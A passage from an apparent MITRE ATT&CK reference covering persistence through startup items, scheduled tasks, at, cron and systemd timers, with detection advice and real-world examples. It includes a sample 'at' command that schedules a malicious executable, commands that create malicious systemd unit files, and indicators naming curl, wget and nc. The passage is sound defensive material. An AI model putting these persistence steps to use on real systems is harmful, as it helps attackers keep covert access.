Attackers frequently combine Startup Items with other techniques such as obfuscation, privilege escalation, or script-based execution to evade detection and maintain persistent access.

## When this Technique is Usually Used

Attackers commonly leverage Startup Items during the following attack scenarios and stages:

* **Initial Persistence:**
  * Immediately after initial compromise to ensure persistent access even if the original access vector is closed.
* **Privilege Escalation:**
  * Combining persistence with privilege escalation techniques to execute malicious payloads with high privileges on system startup.
* **Long-term Persistence:**
  * Ensuring continued access for prolonged espionage operations, data exfiltration, or network reconnaissance.
* **Ransomware Attacks:**
  * Ensuring ransomware payload execution on every startup or login, maximizing impact and recovery complexity.
* **Advanced Persistent Threat (APT) Campaigns:**
  * Maintaining stealthy, continuous access for espionage, intellectual property theft, or targeted attacks.

## How this Technique is Usually Detected

Detection methods and tools for identifying malicious Startup Items include:

* **File System Monitoring:**
  * Monitor known startup folders (`%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup` and `%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup`) for unauthorized files or scripts.
* **Registry Monitoring:**
  * Use tools such as Sysinternals Autoruns, OSQuery, or EDR solutions to detect suspicious modifications to registry keys:
    * `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
    * `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* **Scheduled Task Monitoring:**
  * Regularly audit scheduled tasks using Windows Task Scheduler or PowerShell commands (`Get-ScheduledTask`) to identify suspicious or unauthorized tasks configured at startup or login.
* **Endpoint Detection and Response (EDR) Solutions:**
  * Employ advanced EDR solutions capable of monitoring and alerting on startup item modifications, anomalous scripts, and unauthorized persistence mechanisms.
* **SIEM and Log Analysis:**
  * Analyze system logs and security events regularly for indicators of compromise (IoCs) related to startup item modifications, such as:
    * Unusual file creations or modifications in startup directories.
    * Registry change events logged by Windows Event Logs.
    * Unexpected scheduled task creations.
* **Behavioral Analysis and Threat Hunting:**
  * Conduct proactive threat hunting activities to identify anomalous startup behaviors, unusual processes, or suspicious execution paths.

Specific Indicators of Compromise (IoCs):

* Unrecognized or unsigned executables/scripts in startup folders.
* Suspicious registry entries pointing to uncommon or obfuscated file locations.
* Scheduled tasks with unusual names, descriptions, or execution commands.
* Unusual login scripts or unauthorized modifications to group policy scripts.

## Why it is Important to Detect This Technique

Early detection of malicious Startup Items is critical due to the following potential impacts on systems and networks:

* **Persistent Access:**
  * Attackers can maintain long-term, stealthy access, increasing the risk of data exfiltration, espionage, or lateral movement.
* **Privilege Escalation:**
  * Malicious startup entries may execute payloads with elevated privileges, facilitating further compromise and control over critical system functions.
* **Data Exfiltration and Intellectual Property Theft:**
  * Persistent attackers can continuously steal sensitive data, intellectual property, or credentials, causing significant damage to an organization.
* **System Stability and Performance Issues:**
  * Malicious startup items can degrade system performance, cause crashes, or introduce instability, affecting operational efficiency and productivity.
* **Ransomware and Data Destruction:**
  * Persistent ransomware payloads executed at startup can encrypt critical data repeatedly, complicating recovery efforts and increasing remediation costs.
* **Stealth and Detection Evasion:**
  * Early detection prevents attackers from establishing stealthy persistence that evades standard security controls, minimizing dwell time and potential damage.

## Examples

Real-world examples illustrating the use of Startup Items (T1037.005) include:

* **TrickBot Malware:**
  * TrickBot banking trojan uses startup folders and registry entries to maintain persistence, ensuring it executes upon system reboot or user login.
  * Impact: Credential theft, financial fraud, lateral movement, and further malware deployment.
* **Emotet Malware:**
  * Emotet places malicious executables into startup folders and creates registry autorun entries to persist across reboots, enabling continuous data exfiltration and malware delivery.
  * Impact: Credential harvesting, spam campaigns, ransomware delivery, and network compromise.
* **APT29 (Cozy Bear):**
  * Known to leverage scheduled tasks and registry startup entries to maintain persistent access to compromised systems.
  * Impact: Espionage, intellectual property theft, sensitive data exfiltration.
* **FIN7 Criminal Group:**
  * Utilized malicious startup scripts and tasks to persistently deploy malware payloads on compromised retail and hospitality networks.
  * Impact: Theft of payment card information, financial loss, reputational damage.
* **DarkSide Ransomware:**
  * Created startup registry entries and scheduled tasks to ensure ransomware payload execution on every system reboot, complicating recovery efforts.
  * Impact: Data encryption, ransom demands, operational disruption, financial and reputational harm.

These examples demonstrate the wide range of adversaries—from financially motivated cybercriminals to state-sponsored APT groups—that rely on startup items to achieve persistent, stealthy access and maximize their operational impact.


# Scheduled Task/Job

Scheduled Task/Job \[T1053]

## Information

* Name: Scheduled Task/Job
* ID: T1053
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Sub-Technique: [T1053.005](/mitre/mitre/ta0003/t1053/t1053.005), [T1053.007](/mitre/mitre/ta0003/t1053/t1053.007), [T1053.003](/mitre/mitre/ta0003/t1053/t1053.003), T1053.001, T1053.004, [T1053.006](/mitre/mitre/ta0003/t1053/t1053.006), [T1053.002](/mitre/mitre/ta0003/t1053/t1053.002)

## Introduction

Scheduled Task/Job (T1053) is a widely recognized execution technique within the MITRE ATT\&CK framework. Attackers leverage scheduled tasks or jobs within operating systems to execute malicious code at specific times or intervals. Such tasks can be configured using built-in utilities like Task Scheduler on Windows, cron jobs on Linux/Unix systems, or launchd on macOS. Due to their legitimate administrative nature, scheduled tasks/jobs offer attackers a stealthy mechanism for persistence, privilege escalation, and lateral movement, making them a critical element for defenders to monitor and detect.

## Deep Dive Into Technique

Scheduled tasks/jobs allow attackers to automate the execution of malicious payloads or scripts without manual intervention. Attackers commonly exploit native scheduling utilities available across operating systems:

* **Windows Task Scheduler**:
  * Commands typically used:
    * `schtasks.exe`
    * PowerShell cmdlets (`New-ScheduledTask`, `Register-ScheduledTask`)
  * Tasks can be configured to execute binaries, scripts, or commands at system startup, user logon, or at specific intervals.
  * Tasks are stored in `%SystemRoot%\System32\Tasks` or registry locations (`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache`).
* **Linux/Unix Cron Jobs**:
  * Cron jobs are managed through crontab files (`/etc/crontab`, `/etc/cron.*`, or user-specific crontabs).
  * Attackers often insert malicious scripts or binaries into cron directories or user crontabs to execute periodically or at reboot.
  * Commands used:
    * `crontab -e`
    * Direct editing of cron files (`/etc/cron.d/`, `/var/spool/cron/`)
* **macOS Launchd**:
  * Uses Launch Agents (`~/Library/LaunchAgents`) and Launch Daemons (`/Library/LaunchDaemons`, `/System/Library/LaunchDaemons`) to schedule tasks.
  * Attackers create malicious `.plist` files specifying commands or scripts to execute at regular intervals or on system events.
  * Commands typically used:
    * `launchctl load`
    * `launchctl start`

Attackers may leverage scheduled tasks/jobs to:

* Establish and maintain persistence on compromised systems.
* Escalate privileges by scheduling tasks to run with higher privileges.
* Move laterally by scheduling tasks remotely on other systems within the network.
* Automate data exfiltration or command-and-control (C2) communications.

## When this Technique is Usually Used

Scheduled Task/Job usage spans multiple stages within the cyber kill chain and various attack scenarios, including:

* **Persistence**:
  * Attackers commonly schedule tasks to maintain long-term access to compromised systems, ensuring malicious payloads execute after reboots or user logins.
* **Privilege Escalation**:
  * Tasks configured to run as SYSTEM or root can elevate attacker privileges, allowing greater control over systems and networks.
* **Execution**:
  * Automated execution of payloads or scripts at specific intervals, reducing manual intervention and increasing stealth.
* **Lateral Movement**:
  * Attackers schedule tasks remotely on target machines within the network, facilitating lateral movement and further compromise.
* **Data Exfiltration**:
  * Automated data collection and exfiltration tasks run periodically, reducing attacker exposure and enhancing stealth.
* **Command and Control (C2)**:
  * Scheduled tasks periodically beacon to attacker-controlled servers, enabling sustained communication and remote control.

## How this Technique is Usually Detected

Detection of malicious scheduled tasks/jobs involves monitoring, auditing, and analyzing various system artifacts and behaviors:

* **Windows Detection Methods**:
  * Monitor creation or modification of tasks via Windows Event Logs:
    * Event ID 4698 (Scheduled Task created)
    * Event ID 4702 (Scheduled Task updated)
  * Inspect Task Scheduler libraries and registry locations:
    * `%SystemRoot%\System32\Tasks`
    * Registry keys under `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache`
  * Use Endpoint Detection and Response (EDR) tools to alert on suspicious `schtasks.exe` executions or unusual PowerShell cmdlets.
* **Linux/Unix Detection Methods**:
  * Audit cron-related file modifications:
    * Monitor `/etc/crontab`, `/etc/cron.*`, `/var/spool/cron/`
  * Utilize file integrity monitoring tools (e.g., AIDE, Tripwire) to detect unauthorized cron file changes.
  * Review system logs (`/var/log/cron`, `/var/log/syslog`) for suspicious cron job creations or executions.
* **macOS Detection Methods**:
  * Monitor Launch Agent/Daemon directories for suspicious `.plist` files:
    * `/Library/LaunchDaemons`
    * `/Library/LaunchAgents`
    * `~/Library/LaunchAgents`
  * Use endpoint monitoring solutions to detect `launchctl` command usage and suspicious file creations.
* **General Indicators of Compromise (IoCs)**:
  * Unrecognized or unusual scheduled tasks/jobs executing binaries/scripts from temporary directories or user profiles.
  * Tasks configured to run with elevated privileges or at unusual intervals.
  * Scheduled tasks calling scripts or binaries with obfuscated or encoded commands.
  * Tasks performing network connections to unknown external IP addresses or domains.

## Why it is Important to Detect This Technique

Early detection of malicious scheduled tasks/jobs is vital due to their significant impact on system security and integrity. Undetected scheduled tasks can lead to:

* **Persistent Compromise**:
  * Attackers maintain long-term access, enabling continuous exploitation and data exfiltration.
* **Privilege Escalation**:
  * Malicious tasks running with elevated privileges can compromise entire systems or networks.
* **Stealthy Operations**:
  * Automated execution reduces attacker exposure, making detection and attribution more challenging.
* **Data Exfiltration and Espionage**:
  * Scheduled tasks can automate sensitive data extraction, causing severe data breaches and privacy violations.
* **Lateral Movement and Network Compromise**:
  * Attackers leverage scheduled tasks for lateral movement, expanding their foothold across the network.

Early detection and mitigation minimize the risk of prolonged compromise, reduce potential data loss, and limit the overall damage to organizational assets, reputation, and operations.

## Examples

Real-world examples of Scheduled Task/Job exploitation illustrate the technique's prevalence and impact:

* **APT29 (Cozy Bear)**:
  * Utilized scheduled tasks for persistence and lateral movement during the SolarWinds supply chain attack.
  * Scheduled tasks executed malicious payloads and PowerShell scripts for C2 communications and data exfiltration.
  * Impact: Compromise of multiple high-profile organizations, government entities, and significant data breaches.
* **FIN7 Cybercrime Group**:
  * Employed scheduled tasks to establish persistence and automate execution of custom malware tools (e.g., Carbanak, Cobalt Strike payloads).
  * Attackers scheduled tasks to run malicious scripts periodically, facilitating ongoing data theft and financial fraud.
  * Impact: Millions of dollars stolen from financial institutions, hospitality organizations, and retail companies.
* **TrickBot Malware**:
  * Commonly schedules tasks to maintain persistence and execute malicious payloads after system reboot or user logon.
  * Tasks typically execute scripts or binaries stored in hidden directories or temporary folders.
  * Impact: Credential theft, ransomware deployment (e.g., Ryuk, Conti), and significant operational disruptions.
* **WannaCry Ransomware**:
  * Scheduled tasks used to propagate ransomware payloads and execute encryption routines on compromised systems.
  * Tasks executed malicious binaries periodically, escalating the impact and spread of ransomware attacks.
  * Impact: Global ransomware outbreak causing billions in financial losses and operational disruptions.

These examples demonstrate the critical importance of monitoring scheduled tasks/jobs, highlighting their role in significant cyber incidents, high-impact breaches, and persistent threats.


# At

At \[T1053.002]

## Information

* Name: At
* ID: T1053.002
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0003/t1053)

## Introduction

Scheduled Task/Job: At (T1053.002) is a sub-technique within the MITRE ATT\&CK framework, categorized under the Execution tactic. It specifically involves adversaries leveraging the built-in Windows AT utility to schedule tasks on a compromised host. The AT utility allows scheduling of programs or scripts to execute at a specific date and time, enabling attackers to maintain persistence, automate execution, or escalate privileges without immediate detection.

## Deep Dive Into Technique

The AT utility is a legacy Windows command-line tool that provides task scheduling capabilities. Attackers commonly exploit it due to its inherent availability on Windows systems and its ability to execute commands or scripts at a defined time, often with SYSTEM-level privileges.

Technical details and execution methods include:

* **Command Syntax**: Attackers typically utilize the AT command in the following syntax:

  ```
  at [\\computername] [time] [/interactive] [/every:date[,...] | /next:date[,...]] "command"
  ```
* **Privilege Level**: Tasks scheduled using AT generally run with SYSTEM-level privileges, providing attackers elevated access.
* **Persistence**: Tasks scheduled through AT persist across system reboots, allowing attackers long-term footholds within compromised systems.
* **Interactive Mode**: The `/interactive` switch can be used to allow interaction with the desktop session, potentially enabling further exploitation or privilege escalation.
* **Remote Scheduling**: Attackers may remotely schedule tasks on other machines using the `\\computername` parameter, provided they have sufficient privileges and network access.
* **Legacy Utility**: The AT utility is considered legacy and has been replaced by `schtasks` in newer Windows versions. However, it remains present and functional in many environments, making it a viable attack vector.

## When this Technique is Usually Used

Attackers typically leverage this sub-technique in various stages and scenarios of cyber-attacks, including:

* **Persistence Stage**: Establishing a persistent foothold on compromised hosts by scheduling recurring execution of malicious payloads.
* **Privilege Escalation**: Exploiting the elevated privileges (SYSTEM-level) associated with AT-scheduled tasks to escalate privileges on compromised systems.
* **Lateral Movement**: Remotely scheduling tasks on other networked systems to spread malware or execute reconnaissance scripts.
* **Execution Stage**: Automating the execution of malicious scripts or binaries at specific times to evade immediate detection or monitoring.
* **Defense Evasion**: Utilizing scheduled tasks to avoid real-time detection mechanisms by delaying execution or timing malicious activities during off-hours or low-monitoring periods.

## How this Technique is Usually Detected

Detection of malicious use of the AT utility involves various approaches, including monitoring, logging, and analysis:

* **Event Log Monitoring**:
  * Monitor Windows Security Event Logs (Event ID 4698 for task creation).
  * Monitor Application and System event logs for suspicious task executions.
* **Process Creation Monitoring**:
  * Observe command-line parameters associated with the `at.exe` execution.
  * Detect unusual or unexpected commands executed by scheduled tasks.
* **Registry Analysis**:
  * Scheduled tasks created with AT are stored in the registry under:

    ```
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache
    ```
  * Monitor registry changes or new task entries for suspicious patterns.
* **File System Analysis**:
  * Inspect scheduled task directories (`C:\Windows\Tasks\`) for suspicious `.job` files.
* **Endpoint Detection and Response (EDR)**:
  * Utilize EDR solutions to detect and alert on suspicious task scheduling activities.
* **Indicators of Compromise (IoCs)**:
  * Unusual scheduled tasks running at odd times.
  * Tasks executing scripts or binaries from temporary locations or uncommon directories.
  * Presence of tasks with obfuscated or encoded commands.
  * Scheduled tasks created remotely or by unexpected user accounts.

## Why it is Important to Detect This Technique

Detecting the malicious use of the AT utility is crucial for maintaining the security and integrity of enterprise environments due to the following reasons:

* **Persistence and Long-Term Compromise**:
  * Attackers utilize scheduled tasks to maintain persistent access, allowing them to execute malicious payloads repeatedly over extended periods.
* **Privilege Escalation**:
  * Scheduled tasks through AT often run under SYSTEM privileges, enabling attackers to escalate privileges and gain complete control over compromised systems.
* **Stealth and Evasion**:
  * Scheduled tasks can execute malicious code at predetermined intervals, potentially bypassing real-time detection mechanisms and security monitoring.
* **Lateral Movement**:
  * Attackers may remotely schedule tasks on multiple systems, facilitating rapid lateral movement and widespread malware distribution.
* **Data Exfiltration and Damage**:
  * Malicious tasks can automate data theft, ransomware deployment, or sabotage operations, causing significant damage to organizational assets and reputation.
* **Early Detection**:
  * Timely identification of malicious scheduled tasks can mitigate further compromise, limit damage, and facilitate quicker incident response and remediation.

## Examples

Real-world examples of attacks leveraging the AT utility include:

* **APT Groups**:
  * APT29 (Cozy Bear) has been known to schedule tasks for persistence and execution of reconnaissance scripts and malware payloads.
  * APT32 (OceanLotus) has utilized scheduled tasks to execute malicious binaries and scripts, maintaining access and evading detection.
* **Commodity Malware**:
  * Emotet malware variants have used scheduled tasks, including AT commands, to maintain persistent execution of malicious payloads and modules.
* **Ransomware Attacks**:
  * Ryuk ransomware operators have leveraged scheduled tasks to execute ransomware payloads at specific times, maximizing damage and evading immediate detection.
* **Attack Scenario Example**:
  1. Attacker compromises initial host via phishing email delivering malicious payload.
  2. Attacker schedules a task using AT to execute malware payload periodically:

     ```
     at 02:00 /every:M,T,W,Th,F "C:\Temp\malicious.exe"
     ```
  3. Scheduled task executes malware payload daily at 2 AM, maintaining persistence and allowing attacker continuous access.
  4. Attacker escalates privileges, performs lateral movement, and schedules similar tasks on multiple hosts within the network.
  5. Malicious tasks facilitate data exfiltration, ransomware deployment, or reconnaissance activities, resulting in significant organizational impact.


# Cron

Cron \[T1053.003]

## Information

* Name: Cron
* ID: T1053.003
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0003/t1053)

## Introduction

Cron (T1053.003) is a sub-technique within the Scheduled Task/Job (T1053) category of the MITRE ATT\&CK framework. This sub-technique specifically involves adversaries leveraging the Cron utility, a time-based job scheduler native to Unix-like operating systems, to execute commands or scripts automatically at specified intervals. Attackers often exploit Cron to maintain persistence, escalate privileges, or execute malicious payloads covertly within compromised environments.

## Deep Dive Into Technique

Cron is a Linux/Unix-based scheduling utility that allows users and administrators to automate tasks by scheduling scripts or commands to execute at predefined times and intervals. Cron jobs are defined in a structured text file called a "crontab," typically located in directories such as `/etc/crontab`, `/etc/cron.d/`, `/etc/cron.hourly/`, `/etc/cron.daily/`, `/etc/cron.weekly/`, `/etc/cron.monthly/`, or user-specific cron files accessed via the `crontab -e` command.

Cron's syntax consists of five fields specifying the execution timing (minute, hour, day of month, month, day of week), followed by the command or script to execute. For example:

```
*/5 * * * * /usr/bin/script.sh
```

This line executes `script.sh` every five minutes.

Attackers exploit Cron by:

* Adding malicious cron jobs to persistently execute malware or scripts at regular intervals.
* Modifying existing legitimate cron jobs to include malicious payloads or commands.
* Utilizing Cron to escalate privileges by placing malicious scripts in directories where they execute with elevated privileges (such as `/etc/cron.daily/`).
* Scheduling tasks to reconnect to command-and-control (C2) servers periodically, ensuring persistent communication channels.
* Leveraging cron jobs to clean up evidence or logs periodically, complicating forensic investigations.

Cron jobs can execute with varying privileges depending on the user account under which they are scheduled. Adversaries often exploit cron jobs executed by privileged users (such as root) to gain or maintain escalated system access.

## When this Technique is Usually Used

Adversaries typically use Cron (T1053.003) in various attack scenarios and stages, including:

* **Persistence Stage:**
  * Ensuring continuous execution of malicious scripts or payloads even after system reboots or user logouts.
  * Maintaining long-term access to compromised systems without relying on interactive sessions.
* **Privilege Escalation Stage:**
  * Exploiting cron jobs running with higher privileges (e.g., root cron jobs) to execute malicious scripts with elevated permissions.
  * Modifying cron jobs or scripts located in privileged directories (`/etc/cron.*`) to escalate privileges on compromised hosts.
* **Execution and Command-and-Control (C2) Stage:**
  * Scheduling periodic execution of scripts that establish or maintain communication with remote attacker infrastructure.
  * Automating reconnaissance tasks, data exfiltration, or lateral movement activities within compromised networks.
* **Defense Evasion Stage:**
  * Automating cleanup tasks to remove traces of intrusion, delete logs, or eliminate evidence periodically.
  * Scheduling tasks at unusual intervals to evade detection by security monitoring tools.

## How this Technique is Usually Detected

Detection methods for Cron-based attacks typically involve monitoring system configurations, logs, and scheduled tasks for suspicious or unauthorized changes. Common detection approaches include:

* **File Integrity Monitoring (FIM):**
  * Monitor cron directories and files (`/etc/cron.*`, `/var/spool/cron/*`) for unauthorized modifications or additions.
  * Track changes in crontabs of privileged accounts (root, administrative users).
* **Audit Logging and Monitoring:**
  * Enable and monitor audit logs (`auditd`) for modifications to cron configuration files and directories.
  * Monitor system logs (`/var/log/syslog`, `/var/log/cron`, `/var/log/messages`) for unusual cron job executions, failures, or errors.
* **Behavioral Analysis and Anomaly Detection:**
  * Identify cron jobs executing at unusual intervals or times.
  * Detect cron jobs running from suspicious or non-standard locations (such as `/tmp`, `/dev/shm`, or user home directories).
* **Endpoint Detection and Response (EDR) Tools:**
  * Utilize EDR solutions to detect and alert on suspicious cron-related activities, command executions, or script invocations.
  * Monitor processes spawned by cron jobs for suspicious behaviors, malicious payloads, or network connections.

Specific Indicators of Compromise (IoCs) include:

* Unrecognized cron entries executing scripts or binaries from suspicious directories.
* Cron jobs executing base64-encoded commands or obfuscated scripts.
* Cron entries containing network commands (`curl`, `wget`, `nc`) connecting to unknown or suspicious IP addresses or domains.
* Cron entries executing scripts with names mimicking legitimate system utilities or processes.

## Why it is Important to Detect This Technique

Early detection of malicious cron-based activities is essential due to the significant risks and impacts associated with this technique, including:

* **Persistent Access:**
  * Adversaries can maintain long-term, stealthy access to compromised systems, making remediation difficult without timely detection.
* **Privilege Escalation:**
  * Cron jobs executed under high-privileged accounts (such as root) can enable attackers to escalate privileges and gain full control over compromised systems.
* **Data Exfiltration and Command-and-Control (C2):**
  * Scheduled tasks can automate periodic data exfiltration or maintain persistent communication channels with attacker-controlled infrastructure.
* **Defense Evasion and Cleanup:**
  * Cron jobs can automate periodic deletion of logs or forensic evidence, complicating incident response and forensic investigations.
* **Resource Abuse and Performance Degradation:**
  * Malicious cron tasks can consume significant system resources, degrade performance, or disrupt normal operations.

Prompt detection and response to malicious cron activities can significantly reduce the attackers' dwell time, minimize potential damage, and facilitate rapid containment and remediation efforts.

## Examples

Real-world examples of Cron (T1053.003) abuse include:

* **Rocke Group Malware Campaign:**
  * Attackers leveraged cron jobs to persistently execute malicious cryptocurrency mining scripts. Cron entries periodically downloaded and executed updated payloads from remote attacker-controlled servers, ensuring persistent resource exploitation and monetization.
* **Linux Coin Miners (XMRig, Kinsing):**
  * Malicious cron entries installed by attackers regularly executed scripts to download, update, and execute cryptocurrency mining software (XMRig, Kinsing). These cron jobs ensured continuous mining operations, persistent C2 communications, and self-update mechanisms.
* **TeamTNT Malware Campaign:**
  * TeamTNT utilized cron jobs to establish persistence and periodically execute scripts that scanned for vulnerable Docker instances and AWS credentials. Cron-based scripts facilitated lateral movement, data exfiltration, and resource abuse within cloud and container environments.
* **HiddenWasp Malware:**
  * HiddenWasp malware used cron jobs to execute persistent backdoor scripts on compromised Linux systems. Cron jobs periodically re-established connections to attacker-controlled infrastructure, enabling persistent remote access and control.
* **CronRAT Malware:**
  * CronRAT, a sophisticated Linux malware, exploited cron jobs scheduled on non-existent dates (e.g., February 31) to evade detection. The malware's cron entries appeared benign at first glance but executed malicious payloads covertly, bypassing traditional detection methods.

In all these examples, attackers leveraged Cron to ensure persistence, evade detection, escalate privileges, and automate malicious activities, demonstrating the critical importance of proactive monitoring and detection mechanisms for this sub-technique.


# Scheduled Task

Scheduled Task \[T1053.005]

## Information

* Name: Scheduled Task
* ID: T1053.005
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0003/t1053)

## Introduction

Scheduled Task (T1053.005) is a sub-technique defined within the MITRE ATT\&CK framework under the broader technique of Scheduled Task/Job (T1053). Attackers utilize scheduled tasks to execute malicious payloads or maintain persistence on compromised systems. Specifically, this sub-technique involves leveraging scheduled tasks within Windows environments, using built-in tools such as Task Scheduler (`schtasks.exe`) or Task Scheduler APIs to run malicious code at predetermined times or intervals. This approach allows adversaries to automate execution, evade detection, and maintain persistence over extended periods.

## Deep Dive Into Technique

Scheduled tasks in Windows are managed by the Task Scheduler service, allowing users and administrators to automate processes. Attackers commonly exploit this legitimate functionality to execute malicious payloads and scripts.

Attackers typically use the following methods and mechanisms:

* **Built-in Windows tools**:
  * `schtasks.exe`: Command-line utility used to create, modify, delete, query, run, and terminate scheduled tasks.
  * Task Scheduler GUI: Windows graphical interface allowing task creation and management.
  * PowerShell cmdlets: `New-ScheduledTask`, `Register-ScheduledTask`, and related cmdlets to automate task creation.
  * Windows Task Scheduler APIs: Programmatic access via COM interfaces for more advanced task creation and management.
* **Common tactics and procedures**:
  * Creating tasks that execute malicious scripts or executables at system startup, logon, or specific intervals.
  * Configuring tasks to run with elevated privileges or under different user contexts to escalate privileges or evade detection.
  * Using tasks to periodically check and download additional payloads from command-and-control (C2) servers.
  * Modifying existing scheduled tasks to insert malicious commands or scripts, blending in with legitimate system operations.
* **Task storage locations**:
  * Tasks are stored as XML files within `%SystemRoot%\System32\Tasks\`.
  * Registry keys under `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\` contain metadata about scheduled tasks.

## When this Technique is Usually Used

Attackers commonly employ scheduled tasks at various stages of the cyberattack lifecycle, including:

* **Persistence**:
  * Maintaining long-term access to compromised systems by repeatedly executing malicious code at regular intervals or on system reboot.
  * Ensuring continued access even after system reboots, user logoffs, or security software updates.
* **Privilege Escalation**:
  * Exploiting scheduled tasks running with elevated privileges to escalate attacker privileges from standard user to administrator or SYSTEM-level rights.
* **Defense Evasion**:
  * Using scheduled tasks to execute malicious payloads indirectly, bypassing detection tools that monitor direct file execution or suspicious process creations.
  * Leveraging legitimate scheduled tasks or modifying existing ones to blend malicious activities into normal system operations.
* **Execution and Command-and-Control (C2)**:
  * Regularly executing scripts or binaries that initiate C2 communications, download additional payloads, or exfiltrate data.
  * Automating periodic checks to attacker-controlled infrastructure.

## How this Technique is Usually Detected

Detection of malicious scheduled tasks involves monitoring and analyzing several key indicators and employing various detection methods, including:

* **Monitoring Scheduled Task Creation and Modification**:
  * Monitoring Windows Event Logs, specifically:
    * Security logs (Event ID 4698 for task creation, Event ID 4702 for task modification).
    * Microsoft-Windows-TaskScheduler/Operational logs for detailed task activity.
  * Leveraging Endpoint Detection and Response (EDR) tools to detect suspicious task creation commands (`schtasks.exe`, PowerShell cmdlets).
* **Analyzing Task Scheduler XML Files and Registry Entries**:
  * Regularly scanning `%SystemRoot%\System32\Tasks\` for unusual or newly created task XML files.
  * Inspecting task XML files for suspicious commands, scripts, executables, or unusual triggers (e.g., frequent intervals, odd execution times).
  * Monitoring registry keys under `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\` for unauthorized modifications.
* **Behavioral Analysis and Anomaly Detection**:
  * Detecting unusual task execution patterns, such as tasks running at odd hours, frequent intervals, or unexpected user contexts.
  * Identifying tasks executing binaries or scripts located in temporary directories, unusual system paths, or user profile folders.
* **Specific Indicators of Compromise (IoCs)**:
  * Suspicious command-line arguments or scripts embedded in task definitions.
  * Tasks running executables from uncommon or temporary directories (`%TEMP%`, `%APPDATA%`, `%USERPROFILE%`, etc.).
  * Tasks executing encoded PowerShell commands or scripts referencing external URLs or IP addresses.
  * Unexpected tasks created or modified by non-administrative users or unknown accounts.

## Why it is Important to Detect This Technique

Detecting malicious scheduled tasks is critical due to several potential impacts and risks:

* **Persistence and Long-term Compromise**:
  * Scheduled tasks enable attackers to maintain persistent access, extending the duration and severity of compromise.
  * Early detection prevents attackers from re-establishing footholds after initial remediation efforts.
* **Privilege Escalation and System Compromise**:
  * Tasks running with elevated privileges can allow attackers to escalate privileges, gaining administrative or SYSTEM-level rights.
  * Early detection prevents attackers from leveraging elevated privileges to further compromise systems or networks.
* **Defense Evasion and Detection Challenges**:
  * Scheduled tasks can bypass traditional antivirus and endpoint detection solutions by leveraging legitimate system utilities and mechanisms.
  * Timely identification of malicious tasks reduces the risk of attackers evading detection and performing stealthy operations.
* **Data Exfiltration and Command-and-Control (C2)**:
  * Attackers often use scheduled tasks to automate data exfiltration or periodic C2 communications.
  * Early detection prevents sensitive data loss and disrupts attacker command-and-control channels.
* **Minimizing Damage and Incident Response Costs**:
  * Early detection and remediation of malicious scheduled tasks significantly reduce the potential damage, operational disruption, and associated costs of incident response and recovery.

## Examples

Real-world examples and attack scenarios involving Scheduled Task (T1053.005):

* **APT29 (Cozy Bear)**:
  * Used scheduled tasks to execute PowerShell scripts for persistence, lateral movement, and data exfiltration.
  * Tasks were configured to run malicious payloads at system startup or user logon, ensuring persistence and regular command-and-control communication.
* **FIN7**:
  * Leveraged scheduled tasks to execute malicious JavaScript payloads and PowerShell scripts for persistence and data theft.
  * Tasks executed malicious scripts from temporary directories at frequent intervals, enabling continuous monitoring and data exfiltration from compromised systems.
* **TrickBot Malware**:
  * Created scheduled tasks to execute malicious binaries and scripts, maintaining persistence and periodically downloading additional payloads.
  * Tasks were often configured to run at system startup or specific intervals, ensuring continuous malware execution and C2 communications.
* **Ryuk Ransomware**:
  * Utilized scheduled tasks to automate ransomware execution and lateral movement across compromised networks.
  * Tasks executed ransomware payloads at predetermined times, maximizing impact and disrupting organizational operations.
* **Emotet Malware**:
  * Scheduled tasks were used to execute malicious scripts and binaries, maintaining persistence and facilitating further malware deployment (e.g., TrickBot, Ryuk).
  * Tasks executed payloads from temporary or user profile directories, regularly communicating with attacker-controlled infrastructure.

In these examples, attackers leveraged scheduled tasks to ensure persistence, automate malicious activities, evade detection, and facilitate data exfiltration or ransomware deployment, highlighting the importance of thorough monitoring and timely detection.


# Systemd Timers

Systemd Timers \[T1053.006]

## Information

* Name: Systemd Timers
* ID: T1053.006
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0003/t1053)

## Introduction

Systemd Timers (T1053.006) is a sub-technique under the Scheduled Task/Job technique (T1053) within the MITRE ATT\&CK framework. It involves adversaries leveraging systemd timer units, a Linux-based scheduling mechanism, to execute malicious scripts or binaries at predetermined intervals or specific times. Systemd timers are similar in functionality to cron jobs but offer enhanced flexibility, reliability, and logging capabilities, making them an attractive option for attackers seeking persistence, execution, or privilege escalation on compromised Linux systems.

## Deep Dive Into Technique

Systemd timers are used to schedule tasks using two primary components: timer units (`.timer`) and service units (`.service`). Attackers typically use these components in combination to achieve persistent execution of malicious payloads.

### Technical Execution Details

* **Timer unit files** (`.timer`) define the schedule or event that triggers execution. These files specify time-based triggers (e.g., daily, weekly, monthly) or events (e.g., boot completion, idle state).
* **Service unit files** (`.service`) define the actual command, script, or binary to execute when triggered by the timer unit.

### Common file locations attackers leverage

* `/etc/systemd/system/`: Global systemd configuration directory, requiring root privileges.
* `~/.config/systemd/user/`: User-specific timers and services, not requiring root privileges.

### Typical commands attackers use

* Creating malicious timer and service unit files:

  ```bash
  vim ~/.config/systemd/user/malicious.timer
  vim ~/.config/systemd/user/malicious.service
  ```
* Enabling and starting timer units:

  ```bash
